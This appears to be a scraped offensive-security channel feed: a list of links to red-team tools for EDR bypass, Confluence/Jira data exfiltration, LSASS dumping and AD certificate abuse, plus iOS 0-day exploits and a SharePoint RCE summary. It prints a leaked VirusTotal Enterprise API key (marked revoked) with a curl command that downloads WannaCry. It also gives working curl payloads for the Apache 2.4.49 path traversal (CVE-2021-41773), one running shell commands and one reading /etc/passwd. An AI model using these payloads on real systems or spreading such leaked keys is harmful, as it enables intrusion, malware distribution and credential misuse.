APT

VirusTotal Enterprise free API Key API Key:

859b88dbbd798a5093089e0455a3d44e9fcb411603041f447f1161be3b96fb18

Example: curl 'https://www.virustotal.com/vtapi/v2/file/download?apikey=859b88dbbd798a5093089e0455a3d44e9fcb411603041f447f1161be3b96fb18&hash=76f52cba288145242a77a8762282d8d0e6d8fb3160b5fefb7b92649e503c62a1' --location --output wannacry.exe Source UPD 2022: This key has been revoked #virustotal #enterprise #apikey #free

LDAP Monitor Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration! With this tool you can quickly see if your attack worked and if it changed LDAP attributes of the target object. https://github.com/p0dalirius/LDAPmonitor #ldap #monitor

K8s takeover cases sample https://github.com/Slurmio/webinar-seck8s/

#bugbounty Something interesting from our friends https://medium.com/@i.safronov/mini-ctf-including-android-reverse-engineering-deobfuscation-antidebug-evasion-with-prizes-d32acc4a190c

ScareCrow Payload creation framework designed around EDR bypass. https://github.com/optiv/ScareCrow #edr #bypass #av #fud

Red Team Tutorials # https://crypt0jan.medium.com/red-team-tutorials-1-fcc509da20c4 # https://crypt0jan.medium.com/red-team-tutorials-2-e1b86016e231 # https://crypt0jan.medium.com/red-team-tutorials-3-351e76ea796d # https://crypt0jan.medium.com/red-team-tutorials-4-616c565ccec9 #redteam #metasploit

0-Day Hunting (Chaining Bugs/Methodology) https://blog.riotsecurityteam.com/0day-chains #0day #methodology

#meme

Conf-thief A Red Team tool for exfiltrating sensitive data from Confluence pages https://github.com/antman1p/Conf-Thief #confluence #redteam

Jir-thief A Red Team tool for exfiltrating sensitive data from Jira tickets. https://github.com/antman1p/Jir-Thief #jira #redteam

HandleKatz https://github.com/codewhitesec/HandleKatz #mimikatz #lsass #dump

CVE-2021-26420: Remote Code Execution in Sharepoint via workflow compilation 👤 by The ZDI Research Team In June of 2021, Microsoft released a patch to correct CVE-2021-26420 – a remote code execution bug in the supported versions of Microsoft SharePoint Server. This bug was reported to the ZDI program by an anonymous researcher and is also known as ZDI-21-755. This blog takes a deeper look at the root cause of this vulnerability. This vulnerability could be used by an authenticated user to execute arbitrary .NET code on the server in the context and permissions of the service account of a SharePoint web application. For a successful attack, the attacker should have “Manage Lists” permissions on any SharePoint site. By default, any authenticated user can create their own site where they have the necessary permissions. 📝 Contents: • The Vulnerability • Proof of Concept • Achieving Remote Code Execution • Conclusion https://www.zerodayinitiative.com/blog/2021/10/5/cve-2021-26420-remote-code-execution-in-sharepoint-via-workflow-compilation

Certipy Python implementation for Active Directory certificate abuse https://github.com/ollypwn/Certipy #ADCS

Apache 2.4.49 Payload RCE curl --data "echo;id" 'http://127.0.0.1:55026/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

Payload curl https://URL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -k

Apache HTTP Server 2.4.49 Path Traversal (CVE-2021-41773) https://twitter.com/ducnt_/status/1445386557574324234 #cve #apache

iOS 15 0day Exploits https://github.com/illusionofchaos/ios-gamed-0day https://github.com/illusionofchaos/ios-nehelper-wifi-info-0day https://github.com/illusionofchaos/ios-nehelper-enum-apps-0day #ios #0day #exploit

https://youtu.be/FiT7-zxQGbo #c2 #cpp

Information Gathering and Scanning for Sensitive Information https://0xjoyghosh.medium.com/information-gathering-scanning-for-sensitive-information-reloaded-6ff3455e0d4e #OSINT #Recon

Offensive WMI - Reconnaissance & Enumeration (Part 4) This post focuses on interacting with several WMI classes to extract useful and sensitive information https://0xinfection.github.io/posts/wmi-recon-enum/ #wmi